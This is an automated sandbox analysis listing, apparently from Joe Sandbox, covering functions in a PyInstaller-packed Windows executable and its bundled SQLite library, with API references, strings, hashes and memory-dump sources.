API String ID: 438689982-1046679716
Opcode ID: 0ecd3076d2d6882fb6d98c0ff67cdcd04c4eb88a955b905f157665d830e12fac
Instruction ID: 294e6d676861b19fa68f1278cda6abf9b840c44fe32e822b72eaf17bce5ce0af
Opcode Fuzzy Hash: 0ecd3076d2d6882fb6d98c0ff67cdcd04c4eb88a955b905f157665d830e12fac
Instruction Fuzzy Hash: 96F19332B0C6C286EB288F659424BBA67A4FB85B48F8D4275DA6D077D9CF7CE541C700

Function 00007FFDFAB92210 Relevance: 5.1, APIs: 2, Strings: 1, Instructions: 581stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDFAB92278
memcpy.VCRUNTIME140 ref: 00007FFDFAB923CF

Strings

:memory:, xrefs: 00007FFDFAB9226E

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpystrcmp
String ID: :memory:
API String ID: 4075415522-2920599690
Opcode ID: 72605cf81aeba0c39d3a3bbad278fd64cd5b90fc2f38520c9aff5f17e0d3d4b5
Instruction ID: 4124ad41d7d78b041bca49d2b21fbce26fecd3b578755b4b9cc6247a4b85b1db
Opcode Fuzzy Hash: 72605cf81aeba0c39d3a3bbad278fd64cd5b90fc2f38520c9aff5f17e0d3d4b5
Instruction Fuzzy Hash: DE426126F0978286FB688B26E560B7D27A0FF88B88F4441B5DA6D477D9DF3CE4558300

Function 00007FF62C0F9280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32 ref: 00007FF62C0F92B3
FindClose.KERNEL32 ref: 00007FF62C0F92C2

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 5c466dba17c168f6fd9a0177b639aa02d90b1af07c7b936a826a034eeb355c6b
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: F8F06862A1874186FBB09B64B8997667350EB85778F040335DE6D42AD4DF7CD089CA05

Function 00007FFDFAB811E0 Relevance: 1.7, APIs: 1, Instructions: 204COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32 ref: 00007FFDFAB81205

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 7e95180d38cd00ed8df76aa16efa4cdac9e9adb77db5b2022ed37012a1f49ff9
Instruction ID: 286885cb7695b26eef8716fe54313316560c66573986733519af37819fe93631
Opcode Fuzzy Hash: 7e95180d38cd00ed8df76aa16efa4cdac9e9adb77db5b2022ed37012a1f49ff9
Instruction Fuzzy Hash: F5A1D728F0AB0685EF5C8B4AB870A7863A0BF45B44F9445B5C97D5A7E8DF2CA496C340

Function 00007FF62C0F1950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF62C0F7F90: _fread_nolock.LIBCMT ref: 00007FF62C0F803A

_fread_nolock.LIBCMT ref: 00007FF62C0F1A1B

Part of subcall function 00007FF62C0F2910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF62C0F1B6A), ref: 00007FF62C0F295E

Strings

fseek, xrefs: 00007FF62C0F19F5
MEI, xrefs: 00007FF62C0F1991
calloc, xrefs: 00007FF62C0F1A68
fread, xrefs: 00007FF62C0F1A32, 00007FF62C0F1B5C
Failed to read cookie!, xrefs: 00007FF62C0F1A2B
Could not allocate memory for archive structure!, xrefs: 00007FF62C0F1A61
malloc, xrefs: 00007FF62C0F1B22
Could not allocate buffer for TOC!, xrefs: 00007FF62C0F1B1B
Could not read full TOC!, xrefs: 00007FF62C0F1B55
Failed to seek to cookie position!, xrefs: 00007FF62C0F19EE
Error on file., xrefs: 00007FF62C0F1B8D

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction ID: 71f3631da99adedec12b24781d99b66ab8a29dafd1101ad8d3dea79342d45c8c
Opcode Fuzzy Hash: 85b25b29a176bc83ae3a1b74fdbb3e17cfe2198aa0bc5e09dcfbdbd9a14dfb03
Instruction Fuzzy Hash: 1081D571A0C6868AEF20DB28DC562F923A0EF487A4F404431ED8DC7795DF7DE9858786

Function 00007FF62C0F1470 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fseek, xrefs: 00007FF62C0F14E5
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF62C0F1518
fread, xrefs: 00007FF62C0F15E6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF62C0F14DE
malloc, xrefs: 00007FF62C0F151F
Failed to extract %s: failed to open archive file!, xrefs: 00007FF62C0F149F
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF62C0F15DF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction ID: 6c1234c1b90261470ee2a4985630d516fa58d74deb0e6636dd3dc29cebe74210
Opcode Fuzzy Hash: 00a01140cb6f53c8bf48d507e97df1570cac778f72c2f220bef2ef140620373e
Instruction Fuzzy Hash: 2F41D261B0C6428AEF01DB25DC421B96390FF84BA4F444432ED4D87B95DF3DE992C74A

Function 00007FF62C0F1210 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 158
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF62C0F12BA
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF62C0F1276
1.3.1, xrefs: 00007FF62C0F1249
malloc, xrefs: 00007FF62C0F12C1, 00007FF62C0F12F6
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF62C0F141E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF62C0F12EF

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2050909247-2813020118
Opcode ID: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction ID: b5a338b783929cad4779f87220ea5676c707933e2c38f8c04746b14b5e70b0a5
Opcode Fuzzy Hash: ab383ac4b995131bdd40696453c0f16ebeee9cffe796343d9728e2385cbc1d23
Instruction Fuzzy Hash: A4510322A0C64289EE21AB15EC413BA6291FF857B4F444131EE4EC77C5EF3DE981C706

Function 00007FF62C0F36B0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF62C0F3804), ref: 00007FF62C0F36E1
GetLastError.KERNEL32(?,00007FF62C0F3804), ref: 00007FF62C0F36EB

Part of subcall function 00007FF62C0F2C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2C9E
Part of subcall function 00007FF62C0F2C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF62C0F3706,?,00007FF62C0F3804), ref: 00007FF62C0F2D63
Part of subcall function 00007FF62C0F2C50: MessageBoxW.USER32 ref: 00007FF62C0F2D99

Strings

\\?\, xrefs: 00007FF62C0F375A
Failed to convert executable path to UTF-8., xrefs: 00007FF62C0F3790
GetModuleFileNameW, xrefs: 00007FF62C0F36FA
Failed to resolve full path to executable %ls., xrefs: 00007FF62C0F3739
Failed to obtain executable path., xrefs: 00007FF62C0F36F3

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: Message$CurrentErrorFileFormatLastModuleNameProcess
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 3187769757-2863816727
Opcode ID: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction ID: 4e8cdb5d84c73ba29dae0b0be3486a0f330b31544a968323086ec233db2db0ea
Opcode Fuzzy Hash: 7a7bb6314ef99d1ea6b5a99dff4d55fbb7227be169d5ba9e119ffda366a0a745
Instruction Fuzzy Hash: 9921A761F1CA4285FE309724EC163BA2250BF98374F404132EE5DC25E5EF6DE645C74A

Function 00007FFDFABF44F0 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 334
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFABF4679

Strings

sqlite_temp_master, xrefs: 00007FFDFABF4535
table, xrefs: 00007FFDFABF451A
sqlite_master, xrefs: 00007FFDFABF453C
SELECT*FROM"%w".%s ORDER BY rowid, xrefs: 00007FFDFABF486F
ase, xrefs: 00007FFDFABF477D
CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text), xrefs: 00007FFDFABF4594

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: CREATE TABLE x(type text,name text,tbl_name text,rootpage int,sql text)$SELECT*FROM"%w".%s ORDER BY rowid$ase$sqlite_master$sqlite_temp_master$table
API String ID: 3510742995-879093740
Opcode ID: ba2d0f86b6dcf29befeee4b93b35b993a661bf8d68e9ff4e596beaf804d09bdb
Instruction ID: 9c7208093128e9963853f738c9e9a0edf11b1cb28f046bdc85dd15533bbe32d8
Opcode Fuzzy Hash: ba2d0f86b6dcf29befeee4b93b35b993a661bf8d68e9ff4e596beaf804d09bdb
Instruction Fuzzy Hash: 0FE1F522F087918AFB18CBA5C560ABC27A5FB45788F4981B5CE2C177D9DF38E452C340

Function 00007FF62C10BA5C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF62C10BE89

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction ID: d5de01b296e57e1315b7a636ad8fd171338d95024b338c194b25237a98fabddb
Opcode Fuzzy Hash: c3f57b6cd1f658b3a1cfdd45bc75f21d2f6c8be166295f0eb40444005b392bd6
Instruction Fuzzy Hash: 20C1F322A0C68792EF609B15984A2BD7B50FB81BF4F554131EE4E83791EE7CE865C702

Function 00007FFDFAB7F3A0 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FFDFAB7EBD0: memset.VCRUNTIME140 ref: 00007FFDFAB7EC5C

CreateFileMappingW.KERNELBASE ref: 00007FFDFAB7F576
MapViewOfFile.KERNEL32 ref: 00007FFDFAB7F5B5

Strings

winShmMap3, xrefs: 00007FFDFAB7F5F9
winShmMap1, xrefs: 00007FFDFAB7F48F
winFileSize, xrefs: 00007FFDFAB7F461
winShmMap2, xrefs: 00007FFDFAB7F4E0

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: File$CreateMappingViewmemset
String ID: winFileSize$winShmMap1$winShmMap2$winShmMap3
API String ID: 3919632203-2257004166
Opcode ID: 51401afac1aea8d5b64e98ff47cd8b7946d99476b6cf9f3d17d3fc8ae9a2388f
Instruction ID: 745aad4d3a94ca9f6499368346cae1df0d80dc233fb09eea087ee4f3e79bb742
Opcode Fuzzy Hash: 51401afac1aea8d5b64e98ff47cd8b7946d99476b6cf9f3d17d3fc8ae9a2388f
Instruction Fuzzy Hash: 4881BE76B08A4286EB288F35E420A6937A1FB88B99F854175DE6D477ECDF3CE401C700

Function 00007FFDFAB7D970 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FFDFAB7D9B4
memcpy.VCRUNTIME140 ref: 00007FFDFAB7D9DD
ReadFile.KERNEL32 ref: 00007FFDFAB7DA30
memset.VCRUNTIME140 ref: 00007FFDFAB7DAF4

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFDFAB7DAC9
winRead, xrefs: 00007FFDFAB7DA88

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy$FileReadmemset
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 2051157613-1843600136
Opcode ID: 2d071f0ec14e9f2342e488c5eceac2ac141867fbcd48d604d31c43613abbfcf6
Instruction ID: 8c316e27bcd2b01fe16ca43b3bc12f1217e6073a2839d147c64239153111d179
Opcode Fuzzy Hash: 2d071f0ec14e9f2342e488c5eceac2ac141867fbcd48d604d31c43613abbfcf6
Instruction Fuzzy Hash: 2541F336B0864282E3189F16E8649BD7761FB447C0F850276EA6D577DCDF7CE4468B40

Function 00007FF62C0F6360 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 82COMMON

Download Yara Rule

Strings

Path of Python shared library (%s) and its name (%s) exceed buffer size (%d), xrefs: 00007FF62C0F6456
ucrtbase.dll, xrefs: 00007FF62C0F63DD
Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d), xrefs: 00007FF62C0F63C7
LoadLibrary, xrefs: 00007FF62C0F64AE
Path of ucrtbase.dll (%s) and its name exceed buffer size (%d), xrefs: 00007FF62C0F6407
Failed to load Python DLL '%ls'., xrefs: 00007FF62C0F64A7

Memory Dump Source

Source File: 00000001.00000002.2067330873.00007FF62C0F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF62C0F0000, based on PE: true

Associated: 00000001.00000002.2067297322.00007FF62C0F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067374645.00007FF62C11B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C12E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067431978.00007FF62C131000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2067546616.00007FF62C134000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff62c0f0000_dens.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to load Python DLL '%ls'.$LoadLibrary$Path of Python shared library (%s) and its name (%s) exceed buffer size (%d)$Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)$Reported length (%d) of Python shared library name (%s) exceeds buffer size (%d)$ucrtbase.dll
API String ID: 2050909247-2434346643
Opcode ID: 6bfffda2f71952109638076ae884e7e5d57c5dcfa62dc35d578edba97c4b3a9f
Instruction ID: e64f00e6ef61235a7718a6f33f147781fcb48ef12a3d73405ea77d3c2d684b73
Opcode Fuzzy Hash: 6bfffda2f71952109638076ae884e7e5d57c5dcfa62dc35d578edba97c4b3a9f
Instruction Fuzzy Hash: 0E419221A18A8695EE21EB64EC152E96311FF543A0F800132DE5CC36D5EF7DF689C746

Function 00007FFDFAB7FF80 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 409fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FFDFAB801BA

Part of subcall function 00007FFDFAB7F9A0: memset.VCRUNTIME140 ref: 00007FFDFAB7FA0B
Part of subcall function 00007FFDFAB7F9A0: memset.VCRUNTIME140 ref: 00007FFDFAB7FA94

Strings

winOpen, xrefs: 00007FFDFAB8042D
psow, xrefs: 00007FFDFAB80531
delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFDFAB80296
exclusive, xrefs: 00007FFDFAB8014B

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memset$CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 333288564-3829269058
Opcode ID: 7f438b99b9e427d0e978196a2c9684824045a0de927ee2337bd3f4686d8fa872
Instruction ID: d669bf85461bf8a9a1ae0667e24b23ec9303e4428bdd7902d670ff6263db97fc
Opcode Fuzzy Hash: 7f438b99b9e427d0e978196a2c9684824045a0de927ee2337bd3f4686d8fa872
Instruction Fuzzy Hash: A1027239B0D64286FB5C9B16A874A7D63A0FF84B94F4441B5DE7E4A6E8CF3CE4458700

Function 00007FFDFABA8F80 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 139COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-8000000000000000,?,00000000,00007FFDFABED1A0), ref: 00007FFDFABA911D

Strings

misuse, xrefs: 00007FFDFABA8FD7
%s at line %d of [%.10s], xrefs: 00007FFDFABA8FE3
API called with finalized prepared statement, xrefs: 00007FFDFABA8FAC
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFDFABA8FCA
API called with NULL prepared statement, xrefs: 00007FFDFABA8F94

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: memcpy
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$misuse
API String ID: 3510742995-3538577999
Opcode ID: 22d9235c68b45b7228f0ec18ec1eb6d2aaca4e5828faf460a6cdfe1562e0d8bb
Instruction ID: f45e864896b935ca52dd902098cdcc852616478e72e6da1c0fcf9688567e2e28
Opcode Fuzzy Hash: 22d9235c68b45b7228f0ec18ec1eb6d2aaca4e5828faf460a6cdfe1562e0d8bb
Instruction Fuzzy Hash: F551C129B0D69395FB6C9B659430A786791AF80B90F8841B1DE7D8F7CDDE3DE8429300

Function 00007FFDFAB7DCB0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 91COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32 ref: 00007FFDFAB7DD33

Strings

winSeekFile, xrefs: 00007FFDFAB7DD4C
winTruncate1, xrefs: 00007FFDFAB7DD6D
winTruncate2, xrefs: 00007FFDFAB7DD99

Memory Dump Source

Source File: 00000001.00000002.2069057077.00007FFDFAB71000.00000020.00000001.01000000.00000017.sdmp, Offset: 00007FFDFAB70000, based on PE: true

Associated: 00000001.00000002.2069023444.00007FFDFAB70000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069226530.00007FFDFACD4000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 00000001.00000002.2069264473.00007FFDFACD9000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffdfab70000_dens.jbxd

Similarity

API ID: FilePointer
String ID: winSeekFile$winTruncate1$winTruncate2
API String ID: 973152223-2471937615
Opcode ID: caf76fc990a77c24bd54f66fb3f334cef98837adf3bd70c06e3e0f200cd74bc1
Instruction ID: 0653d103c5dbdcdbd02464c12ddb9db8620756314b0aa76d781a2f40389462f7
Opcode Fuzzy Hash: caf76fc990a77c24bd54f66fb3f334cef98837adf3bd70c06e3e0f200cd74bc1
Instruction Fuzzy Hash: 0731B125B08A4286E7589F7AB520869B3A1EB84BD4F940275DE7C877DDDF7CD4418B00

Function 00007FFDFAB80610 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDFAB7CFB0: memset.VCRUNTIME140 ref: 00007FFDFAB7D013

GetFileAttributesW.KERNEL32(?,?,?,?,00000000,00007FFDFAB7E8DE), ref: 00007FFDFAB80652
DeleteFileW.KERNEL32(?,?,?,?,00000000,00007FFDFAB7E8DE), ref: 00007FFDFAB80671

Strings

winDelete, xrefs: 00007FFDFAB806E7
